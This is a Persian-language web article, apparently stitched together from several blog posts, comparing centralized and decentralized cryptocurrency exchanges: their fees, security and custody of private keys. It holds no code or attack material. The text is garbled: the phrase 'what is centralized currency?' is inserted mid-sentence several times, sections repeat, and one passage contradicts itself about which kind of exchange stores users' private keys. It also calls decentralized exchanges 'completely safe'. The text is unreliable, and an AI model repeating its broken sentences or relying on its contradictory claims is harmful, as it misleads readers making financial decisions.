یکی از تفاوت‌های مهم میان یک صرافی متمرکز و یک صرافی غیرمتمرکز ارز دیجیتال، بحث کارمزد انجام معاملات است. از آنجا که در صرافی‌های متمرکز در زمان ترید و خرید و فروش رمز ارزها، هیچ تراکنشی روی شبکه بلاکچین صورت نمی‌گیرد، لذا کارمزد شبکه در آن وجود ندارد. اما در یک DEX ارز دیجیتال ماجرا کاملا متفاوت است؛ در این صرافی‌ها، به دلیل انجام معاملات بر روی شبکه بلاکچین، در هر خرید و فروش باید علاوه بر کارمزد داخلی دکس، کارمزد شبکه بلاکچین نیز پرداخت شود. این نکته بسیار منفی برای صرافی‌های غیر متمرکز در حوزه ارزهای دیجیتال است. اگر دکس بر روی شبکه اتریوم راه‌اندازی شده باشد، ممکن است برای خرید یک رمز ارز تا ۱۰۰ دالر و در مجموع برای خرید و فروش آن، ۲۰۰ دالر کارمزد شبکه لازم باشد. لذا اگر یک تریدر با سرمایه کم در این صرافی‌ها فعالیت کند، عملا تمام سرمایه‌اش صرف پرداخت کارمزد شبکه اتریوم خواهد شد و طبیعتا هیچ توجیه اقتصادی برای این کار وجود ندارد.

اما در مورد دکس بایننس یا دکس‌های روی شبکه بایننس اسمارت چین، کارمزدها بسیار پایین‌تر است. اما بازهم این کارمزد صفر نیست. جدای از بحث کارمزد شبکه بلاکچین، هر صرافی غیرمتمرکز یک کارمزد داخلی را نیز از کاربران خود دریافت می‌کند. این کارمزد عموما بسیار کمتر از کارمزد صرافی‌هاست. اما در مجموع، کارمزد ترید در یک صرافی متمرکز به در بیشتر مواقع، به مراتب کمتر از کارمزد ترید در یک صرافی غیرمتمرکز است.

تراکنش درون شبکه و تراکنش بین چند شبکه بلاکچین

مباحث فنی صرافی‌های غیرمتمرکز شامل دو ویژگی است:

• مدیریت دارایی‌ها

• هماهنگ‌سازی سفارشات

ویژگی اول ذخیره‌سازی اطلاعات، تصدی دارایی‌ها و انجام معاملات را ارائه می‌دهد. ویژگی دوم نیز اطلاعات دفتر سفارش را ذخیره کرده و هماهنگ‌سازی سفارشات را انجام می‌دهد.

فناوری غیرمتمرکز واقعی هر دو ویژگی را با ارز متمرکز چیست؟ قراردادهای هوشمند داخل زنجیره پیاده‌سازی می‌کند. دارایی‌های کاربران توسط اسمارت کانترکت‌ها نگهداری می‌شود تا در مقابل سرقت و اختلاس ایمن باشد. کاربران می‌توانند دارایی‌های خود را بدون فرآیندهای پیچیده و زمان‌بر برداشت کنند. منطق هماهنگ‌سازی سفارشات توسط قراردادهای هوشمند برقرار می‌شود که منجر به حذف خطر تقلب و کلاهبرداری می‌شود.

به لطف مزایای بلاک چین، صرافی‌های غیرمتمرکز از آپ‌تایم زیاد (میزان زمان آنلاین بودن سایت در اینترنت در طول یک سال) بهره می‌برند. در هر لحظه، نود آماده ارائه خدمات است، در نتیجه ادامه هماهنگ‌سازی سفارشات و انجام معاملات را تضمین می‌کند. در بدترین شرایط، کاربران می‌توانند به منظور ادامه دادن معاملات متوقف شده و انتقال ایمن دارایی‌ها به کیف پول، نود خود را اجرا کنند.

در آخر، قابلیت پشتیبانی از معاملات چندین دارایی مختلف (یا همان معاملات بین زنجیره‌ای) یکی دیگر از تفاوت‌های کلیدی صرافی‌های غیرمتمرکز با صرافی‌های متمرکز است.

بازار غیر متمرکز چیست؟

در این مقاله می خواهیم شما را با مفهوم و نحوه ی کارکرد بازارهای غیر متمرکز آشنایتان کنیم اما قبل از آن باید توضیحاتی در خصوص غیر متمرکز بودن و دیگر مسائل ارائه کنیم تا مطالب را بهتر درک کنید و ممکن است شما اطلاعاتی در این خصوص داشته باشید اما به شما پیشنهاد می کنم حتما این مطلب را تا آخر مطالعه کنید.

غیر متمرکز بودن چیست؟

قبل از هر چیز بهتر است با مفهوم غیر متمرکز بودن آشنا شوید. به طور کلی خود غیر متمرکز بودن یعنی یک نهاد اصلی نظارتی بر امور ندارد. در واقع تمرکز زدایی یا Decentralization یکی از دلایل بقای بلاک چین است. همان طور که می دانید یکی از مهم ترین و اصلی ترین کاربردهای بلاک چین هم ارزهای دیجیتال هستند. در سازمانی که غیر متمرکز است کنترل کسب و کار مربوطه بر عهده ی یک نفر و یا شخص خاصی نیست بلکه این وظیفه در میان اعضای تیم پخش شده است.

این نوع نهادها از مزایای برخوردارند که در ادامه آن ها را عنوان می کنیم:

• به نسبت ارزان تر هستند.
• نیروی انسانی بیش تر.
• قدرت بیش تر.
• مبتنی بر همکاری هستند.

برای این که یک سیستم غیرمتمرکز محسوب شود باید دارای ویژگی های زیر باشد:

• نرم افزار و یا سیستم مورد نظر باید دارای توکن و یا دارایی دیجیتال باشد.
• اپن سورس باشد ( متن باز باشد ) یعنی این که کدهای منبع باید برای همه ی کاربران در دسترس باشد.
• از فناوری رمزگذاری مشابه با بلاک چین استفاده کند.
• دارای سازوکار درونی برای توافق عمومی کاربران باشد.

غیر متمرکز بودن ویژگی اصلی ارزهای دیجیتال

تا به این جای مقاله سعی کردیم برای شما عزیزان مطالبی را منتشر کنیم که به طور کلی با معنا و مفهوم غیر متمرکز بودن بیش تر و بهتر آشنا شوید. اما همانی طور که می دانید در این وب سایت هدف اصلی ما پرداختن به ارزهای دیجیتال و مسائل مرتبط به آن هاست.

بانک ها در واقع نهاد متمرکز هستند که افراد می توانند در آن ها به فعالیت و امور مالی خود بپردازند. بانک ها هم در ازای کاری که انجام می دهند کارمزد دریافت می کنند. فرض کنید آقای احمدی می خواهد مبلغ یک میلیون تومان را به آقای محمدی انتقال دهد. بانک مربوطه در ابتدا حساب آقای احمدی را بررسی می کند تا از اعتبار آن مطلع شود سپس اگر حساب آقای احمدی موجودی مورد نظر را دارا بود یک میلیون تومان از حساب آقای احمدی کسر خواهد کرد و به حساب آقای محمدی اضافه می کند و در پایان جزئیات این معامله و جا به جایی در دفتر کل ذخیره و نگه داری می شود. بانک هم در آخر کارمزد خود را بابت کاری که انجام داده است دریافت می کند.

بعد از این که افراد با جزئیات و کاربردهای تکنولوژی همتا به همتا آشنا شدند خالق ارز دیجیتال بیت کوین هم به این فکر افتاد که برای مسائل مالی هم از تکنولوژی همتا به همتا و یا peer to peer استفاده کند. نهایتا این موضوع را با ارزهای دیجیتال عملی کرد. بیت کوین نیاز به واسطه هایی چون بانک ها را حذف کرد. شما برای نقل و انتقالات در این شبکه می توانید از کیف پول خود به آدرس کیف پول شخص دیگر پول منتقل کنید. جزئیات تراکنش های شما در بلاک چین ذخیره می شود.

بازار غیر متمرکز چیست؟

حالا که با معنا و مفهوم عدم تمرکز در سازمان و نهادها و به ویژه ارزهای دیجیتال آشنا شدید بهتر است به مطلب اصلی یعنی بازارهای غیر متمرکز بپردازیم.

در حوزه ی ارزهای دیجیتال بیش تر افراد در صرافی آنلاین ارز دیجیتال مشغول به معامله و یا ترید کردن هستند به همین خاطر وقتی صحبت از بازار ارزهای دیجیتال می شود ذهن کاربران و سرمایه گذاران خواه نا خواه به سمت صرافی های ارز دیجیتال می رود به همین خاطر در ادامه ی این مطلب شما را با صرافی های غیر متمرکز و هم چنین صرافی های متمرکز آشنا خواهیم کرد.

با رشد روز افزون قیمت ارزهای دیجیتال افراد زیادی تمایل پیدا کرده اند که در این عرصه فعالیت یا همان سرمایه گذاری کنند و همین طور بیش تر این افراد تمایل دارند ک معاملات و مبادلات خود را در بستر صرافی ها به انجام برسانند از این رو اکسچنج ها نقش مهم و کلیدی را در این عرصه ایفا می کنند.

فاکتورهای یک صرافی خوب

از زمانی که ارزهای دیجیتال شناخته شدند یا به عبارت بهتر از زمانی که ارز دیجیتال بیت کوین عرضه شد تعداد اکسچنج های آنلاین هم رو به رشد بوده است. اما تنها برخی از این اکسچنج ها توانسته اند نظر کاربران و سرمایه گذاران را جلب کنند. قطعا این ویژگی های یک پلتفرم است که باعث می شود افراد به استفاده از آن ترغیب شوند. از مهم ترین ویژگی های یک پلتفرم حجم معاملات آن و کم بودن نوسانات و عدم دستکاری قیمت هاست. در مقالات گذشته در خصوص مهم ترین ویژگی هایی که یک پلتفرم معاملاتی باید دارا باشد به طور مفصل صحبت کردیم که عنوان کردن دوباره ی آن ها خارج از حوصله ی این مقاله است. شما در صورت تمایل می توانید به آن ها برای کسب اطلاعات بیش تر رجوع کنید. در ادامه به صورت خلاصه به برخی از مهم ترین فاکتورها می پردازیم:

هر چه میزان نوسانات کم تر باشد وقتی که کاربر مشغول معامله است در بازه ی زمانی که در حال ثبت تراکنش است تا زمان تکمیل تراکنش مربوطه اگر حجم معاملات پلتفرم مربوطه بالا باشد تراکنش با سرعت بیش تری انجام می شود و در نتیجه نوسانات نمی توانند تاثیر چندانی بر روی ارز دیجیتال مورد معامله بگذارند.

اصلی ترین فاکتور در خصوص یک پلتفرم میزان امنیت آن است. که متاسفانه می توان گفت هیچ صرافی متمرکزی تا کنون از حملات هکرها مصون نمانده است. در این میان برخی از پلتفرم ها به نسبت از امنیت بیش تری برخوردارند و یا برخی دیگر خسارات وارد شده به کاربرانشان را جبران می کنند.

امروزه رایج ترین صرافی که کاربران و سرمایه گذاران از آن استفاده می کنند صرافی های متمرکز هستند، در ادامه به شرح انواع صرافی ها خواهیم پرداخت.

صرافی متمرکز

همان طور که در متن بالا به آن اشاره کردیم در حال حاضر بیش تر افراد در صرافی های متمرکز فعالیت می کنند از این رو این نوع از پلتفرم ها از شهرت بیش تری برخوردارند.

این نوع از بازارها و به طور کلی تمام بازارهای این حوزه پلتفرم هایی هستند که درون آن ها معامله گران و سرمایه گذاران مشغول خرید و فروش ارزهای دیجیتال هستند.

اگر اندکی در باره ی ارزهای دیجیتال مطالعه کرده باشید حتما با این موضوع رو به رو شده اید که ماهیت و یا همان ویژگی اصلی تمامی ارزهای دیجیتال غیر متمرکز بودن آن هاست و حالا که در این مقاله صحبت از دو نوع صرافی می کنیم و آن ها را به دو دسته ی متمرکز و غیر متمرکز تقسیم بندی می کنیم این دسته ی متمرکز برای شما کمی عجیب به نظر بیاید و بگویید که خب این نوع از صرافی ها با ویژگی اصلی ارزهای دیجیتال در تناقض هستند و هم در عین حال از محبوبیت و شهرت بیش تر برخوردارند در ادامه این موضوع را برای شما عزیزان شفاف سازی می کنیم:

برای این که با سازوکار بازارهای متمرکز بیش تر آشنا شوید بهتر است بگوییم آن ها تقریبا عملکردی مشابه با بانک ها دارند. از آن جایی که افراد برای نقل و انتقالات و یا سرمایه گذاری قادر نیستند خودشان به تنهایی این بستر را برای خودشان فراهم کنند به موسساتی چون بانک ها اعتماد می کنند می توان گفت حتی یکی از هدف های اصلی به وجود آمدن بانک ها ایجاد امنیت و نظارت بر دارایی افراد بود. در حوزه ی ارزهای دیجیتال هم این موضوع صدق می کند افراد در واقع به این صرافی ها اعتماد می کنند و داراییشان را به آن ها می سپارند هم چنین کاربران می توانند این پلتفرم ها را به عنوان شریک تجاری خود در نظر بگیرند و از آن ها برای انجام معاملات خود پول قرض بگیرند و سود بیش تری کسب کنند که به این نوع از معاملات، معاملات مارجین گفته می شود که در دیگر مقالات موجود در این وب سایت به طور کامل این روش از معامله را برای طرفداران آن شرح دادیم.

برخی از صرافی های متمرکز ارز دیجیتال صاحب نام و معتبر عبارتند از:

• صرافی بایننس Binance
• صرافی هوبی Huobi
• صرافی بیترکس Bittrex
• صرافی بیت فینیکس Bitfinex
• صرافی پولونیکس Poloniex

صرافی غیر متمرکز

حالا در این بخش از مقاله قصد داریم شما را بازار غیر متمرکز ارزهای دیجیتال آشنا کنیم. و سپس شما را با تفاوت بازار های متمرکز و غیر متمرکز آشنا خواهیم کرد.

در پاراگراف های پیشین شما را با نوعی از صرافی های آنلاین آشنا کردیم که گفتیم آن ها در معرض حملات هکرها هستند. هم چنین وقتی در سال 2017 میلادی بازار ارزهای دیجیتال رونق بسیاری پیدا کرد و افراد بیش تری تمایل پیدا کردند که دارایی و سرمایه ی خود را در این عرصه به کار بگیرند هکرها و کلاه برداران یا به طور کلی افراد سودجویی بیش تر هم تصمیم گرفتند که به این صرافی ها حمله کنند و سرمایه ی افراد را سرقت کنند. از این رو نوعی دیگر از صرافی ها به وجود آمد که به آن ها صرافی های غیر متمرکز یا بازار غیر متمرکز گفته می شود و به نسبت پلتفرم قبلی از امنیت بالا تری برخوردار بود و می توانست در برابر حملات هکرها مقاوم باشد.

علت این تفاوت هم این بود که پلتفرم های متمرکز کلید خصوصی کیف پول کاربران را در سرور مرکزی خود پلتفرم ذخیره و نگهداری می کرد اما در پلتفرم های متمرکز این کلید خصوصی در سرور مرکزی ذخیره و نگهداری نمی شود بنابراین کار را برای هکرها دشوار می کند.

برخی از پلتفرم های صاحب نام و معتبری که به صورت غیر متمرکز فعالیت می کنند عبارتند از:

• صرافی بیت شیرز Bitshares
• صرافی IDEX
• صرافی DEX

تفاوت این دو پلتفرم

اولین تفاوت آن ها میزان امنیت آن هاست که در پاراگراف بالا به طور کامل برای شما دلیل این موضوع را شرح دادیم که قطعا شما هم متوجه این موضوع شده اید که صرافی های غیر متمرکز از امنیت بیش تری برخوردار هستند.

دومین تفاوت عمده ی آن ها این است که در اکیپنج های غیر متمرکز تمامی ارز متمرکز چیست؟ معاملات با استفاده از قراردادهای هئشمند به صورت خودکار انجام می شوند و دیگر دارایی بلوکه نخواهد شد.

اگر بخواهیم به صورت جزئی تر وارد ویژگی ها و عملکردهای آن ها بشویم قطعا می توان تفاوت های عمده و اساسی بیش تری از آن ها را نام برد.

اما امروزه بیش تر افراد به اکسچنج های متمرکز اعتماد دارند و درون آن ها مشغول به فعالیت هستند پیش بینی می شود با گذشت زمان و اعتماد افراد بیش تری به اکسچنج های غیر متمرکز این نوع از پلتفرم ها هم رونق پیدا کنند و حتی ممکن است به دلیل امنیت بیش تری که به کاربرانشان ارائه می دهند بتوانند جایگزین صرافی های متمرکز شوند.

هم چنین خوب است بدانید که صرافی ها تنها راه انجام معامله و یا خرید و فروش ارز دیجیتال نیستند بلکه راه های متفاوتی برای انجام این کار وجود دارد مانند بازارهای معاملاتی و یا خرید مستقیم از افراد استخراج کننده یا همان ماینرها و یا ارز متمرکز چیست؟ خرید از افرادی که در شبکه های اجتماعی مدعی فروش ارزها هستند.

نتیجه گیری

هر یک از روش های فوق دارای ریسک های خاص و ویژه ای هستند که امن ترین و کم ریسک ترین راه خرید و فروش استفاده از صرافی های آنلاین است که ما هم این روش را به شما عزیزان توصیه می کنیم اما باز هم تصمیم گیرنده ی نهایی خود شما هستید.

تفاوت صرافی های متمرکز و غیرمتمرکز

صرافی متمرکز چیست؟
برای اکثر سرمایه گذاران ارزهای دیجیتال، صرافی های متمرکز یکی از مهمترین ابزارها برای معاملات هستند. صرافی های متمرکز یک پلت فرم یا سیستم عامل های آنلاینی هستند که برای خرید و فروش ارزهای رمزنگاری شده استفاده می شوند. این صرافی ها شایع ترین ابزاری هستند که برای خرید و فروش ارزهای رمزنگاری شده استفاده می شوند.
از آنجا که اکثر ارزهای رمزنگاری شده، نامتمرکز هستند، ممکن است استفاده از کلمه صرافی های متمرکز برای برخی از سرمایه گذاران کمی گیج کننده باشد. منظور از کلمه صرافی متمرکز چیست؟ در کل چرا این صرافی ها برای موفقیت صنعت ارزهای رمزنگاری شده مهم هستند؟
در اصطلاح صرافی ارز رمزنگاری متمرکز، کلمه متمرکز اشاره به حضور فردی واسط یا شخص ثالثی دارد که به انجام معاملات کمک می کند. خریداران و فروشندگان به این شخص ثالث برای مدیریت درایی خود اعتماد دارند. به نوعی می توان گفت این امر مانند بانک است که در آن مشتریان برای نگهداری پول خود به بانک اعتماد دارند.
از دلایل تاسیس بانک ها تامین امنیت و نظارت است که فرد به تنهایی نمی تواند این شرایط را برای سرمایه خود فراهم کند. صرافی های متمرکز نیز اینچنین عمل می کنند. فرد نه تنها می تواند با اعتماد و موفقیت معاملات خود را انجام دهد، بلکه میی تواند از این صرافی ها به عنوان شریک تجاری خود استفاده کند.
در مورد ارزهای رمزنگاری شده که اغلب این ارزها در کیف پول ها نگهداری می شوند، یک فرد می تواند به راحتی صدها یا هزاران دلار از سرمایه خود را به راحتی با فراموش کردن رمز عبور خود از دست بدهد. در صرافی های متمرکز این اتفاق نخواهد افتاد، زیرا تمام سرمایه توسط یک فرد محافظت می شود.
صرافی غیرمتمرکز چیست؟
از سال 2017 پس از افزایش بیش از حد قیمت ها، افراد زیادی برای سرمایه گذری وارد بازار ارزهای رمزنگاری شدند.
گسترش روز افزون ارزهای رمزنگاری بین افراد، باعث شده است که سرمایه های بالایی وارد این بازار شود. این ورود سرمایه های زیاد باعث جلب توجه هکرها شده است.
در نتیجه افزایش تعداد هکرها و هک شدن صرافی های متمرکز که در آن تبادلات به ارزش میلیون ها دلار انجام می شود، نوع جدیدی از صرافی ها که غیرمتمرکز هستند ایجاد شده اند که انتظار می رود نسبت به هک شدن مقاوم باشند.
در حالی که بسیاری از صرافی های متمرکز ارزهای رمزنگاری کلیدهای خصوصی کاربران را در سرور مرکزی خود نگه می دارند که این احتمال هک شدن را بسیار افزایش می دهد. اگر یک هکر به کلید خصوصی کاربری دست پیدا کند، می تواند به راحتی به تمام موجودی کیف پول وی دسترسی پیدا کرده و آن را به یکی از حساب های امن خود منتقل کند. از سوی دیگر، صرافی های غیرمتمرکز هیچ ارز یا کلید خصوصی را در یک سرور مرکزی نگهداری نمی کنند. بنابراین برای هکرها ردیابی و رسیدن به رمزهای عبور بسیار سخت خواهد شد.
یکی از مشکلات صرافی های غیرمتمرکز عدم امکان ردیابی و قانون گذاری، به ویژه قوانین مالیاتی، برای این صرافی ها است. جان مک آفی اخیرا مقاله ای مبنی براینکه صرافی های غیرمتمرکز می توانند یک مشکل برای ادارات نظارتی دولتی باشند نوشت.
انتخاب بین ناشناس بودن و امنیت فضای مورد استفاده و حفاظت در برابر هک شدن احتمالا مشکل است. با این حال سرمایه گذارانی که نگران سرقت ارزهای خود هستند ممکن است بخواهند ارز خود را در صرافی های غیرمتمرکز مبادله کنند.
تفاوت صرافی های متمرکز و غیرمتمرکز
صرافی های ارز متمرکز چیست؟ متمرکز می توانند برای انجام مبادلات تبدیل پول فیات و فیزیکی به ارز رمزنگاری شده و برعکس استفاده شوند. از این صرافی ها همچنین می توان برای تبدیل دو ارز رمزنگاری به یکدیگر نیز استفاده کرد. در حالی که به نظر می رسد این نوع صرافی ها تمام انواع مبادلات امکان پذیر را پوشش دهند، اما هنوز نوع دیگری از صرافی ها در این بازار وجود دارند.
صرافی های غیرمتمرکز نوع دیگری از صرافی ها هستند. در این نوع صرافی ها نیاز به حضور یک شخص ثالث برای انجام مبادلات نبوده و یک محیط کاملا امن و قابل اعتمادی را ایجاد می کنند. دارایی ها هرگز بلوکه یا انتقال نمی یابند و تمام معاملات براساس قراردادهای هوشمند صورت می گیرد.
تفاوت اصلی بین صرافی های متمرکز و غیرمتمرکز مربوط به وجود یا عدم وجود شخص ثالث است. صرافی های غیرمتمرکز در مقایسه با صرافی های متمرکز گسترش و محبوبیت کمتری دارند. با این جود صرافی های غیرمتمرکز همیشه وجود دارند و ممکن است در آینده ویژگی های صرافی های متمرکز را اضافه کنند.
اغلب در صرافی های متمرکز تبدیل ارزهای رمزنگاری به یکدیگر رایج است. برای این منظور کاربران قادرند به عنوان مثال بیت کوین را به اتریوم تبدیل کنند. صرافی ها کمتر امکان تبدیل ارزهای رمزنگاری به پولهای فیات را فراهم می کنند. برای مثال تبدیل بیت کوین به دلار.
با این حال اغلب صرافی های بزرگ جهان امکان تبدیل ارزهای رمزنگاری به پول های فیات را دارند. این امکان به دلیل دسترسی مستقیم این صرافی ها به بازار ارزهای رمزنگاری است.
از آنجا که اغلب سرمایه گذاران این فضا افراد نسبتا تازه وارد هستند، ممکن است تبدیل ارز رمزنگاری به ارزهای فیات بیشتر انجام شود. برخی از مهمترین این صرافی هاعبارتند از کوین بیس، رابین هود، کراکن و جیمینی.
عناصر کلیدی صرافی های متمرکز
همیشه صرافی های متمرکز جدیدی در طول زمان ایجاد می شوند، اما تمام آن ها موفق نیستند. موفقیت یا شکست یک صرافی به عوامل متعددی وابسته است، اما یکی از اصلی ترین مولفه های موفقیت، حجم معاملات است.
به طور کلی سطح حجم مبادلات بالاتر، کاهش نوسانات و دستکاری قیمت بازار در مکانی که در آن مبادلات انجام می شود بسیار مهم است. نوسانات می تواند یک فاکتور اساسی باشد. زیرا در زمان لازم برای تکمیل یک تراکنش قیمت یک ارز می تواند بین زمان آغاز ثبت تراکنش تا زمان تکمیل، تغییر کند. هرچه حجم معاملات بیشتر باشد و سرعت انجام تراکنش بالاتر، این مشکلات کمتر تاثیرگذار خواهد بود.
عنصر مهم دیگر موثر در موفقیت یک صرافی متمرکز، امنیت آن است. در حالی که هیچ صرافی به طور کامل از فعالیت های تخریبی مثل هک شدن مصون نیست، اما برخی از صرافی ها امنیت بالاتری دارند.
روش ارزیابی دقیقی برای بررسی قدرت مقابله صرافی ها در مقابل حملاتی مثل هک وجود ندارد. برخی از صرافی ها در مقابل جبران خسارت وارده به کاربران خود احساس مسئولیت کرده و آن را جبران می کنند در حالی که بعضی دیگر این گونه نیستند. در هر حال بعضی صرافی ها در مقابل این گونه حملات به درستی و با شفافیت عمل می کنند.
برای سرمایه گذاران در فضای ارزهای رمزنگاری شده، صرافی های متمرکز هنوز هم رایج ترین روش برای انجام مبادلات است. هنگام انتخاب یک صرافی، کاربر باید فاکتورهای متعددی را از جمله وسعت تبادلاتی که انجام می شود، میزان حجم مبادلات بالا و امنیتی که صرافی برای انجام مبادلات فراهم می کند، در نظر بگیرد.